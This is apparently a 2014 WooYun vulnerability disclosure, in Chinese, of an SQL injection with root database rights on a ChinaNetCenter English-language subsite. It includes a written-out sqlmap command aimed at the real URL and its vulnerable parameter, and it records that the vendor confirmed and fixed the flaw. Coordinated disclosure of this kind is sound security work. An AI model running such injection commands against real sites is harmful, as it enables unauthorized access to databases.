[公开漏洞]网宿科技某站sql注入（root权限）

网宿科技某站sql注入（root权限） 相关厂商： 网宿科技 漏洞作者：Mody 提交时间：2014-05-03 10:42 公开时间：2014-06-17 10:43 漏洞类型：SQL注射漏洞 危害等级：高 自评Rank：15 漏洞状态： 厂商已经确认 漏洞来源：http://www.wooyun.org Tags标签： php+字符类型注射 漏洞详情 披露状态：

2014-05-03：细节已通知厂商并且等待厂商处理中
2014-05-03：厂商已经确认，细节仅向厂商公开
2014-05-13：细节向核心白帽子及相关领域专家公开
2014-05-23：细节向普通白帽子公开
2014-06-02：细节向实习白帽子公开
2014-06-17：细节向公众公开

简要描述：

五一宅在家中，有个妹子发来微信。
妹子：在干嘛？
我：挖洞
妹子：一个人挖？
我：对啊！
妹子：我过去陪你一起挖吧！
我马上关机。擦，想跟老子抢乌云币？

详细说明：

注入地址：

sqlmap -u "http://en.chinanetcenter.com/pages/about-us/i

1-press-release.php?filter=%25&page=1" -p filter --is-dba

漏洞证明：

root权限

数据库

里面有个wordpress的数据库。。。



就不深入拿shell了，大五一的，苦逼挖洞挖到现在

修复方案：

1. 过滤

2. 求给个高点的rank呗

版权声明：转载请注明来源 Mody@乌云 漏洞回应 厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2014-05-03 11:47

厂商回复：

多谢Mody的关注，我们马上处理

最新状态：

2014-05-03：该分站问题已经先处理掉，不涉及业务信息，再次对mody表示感谢:)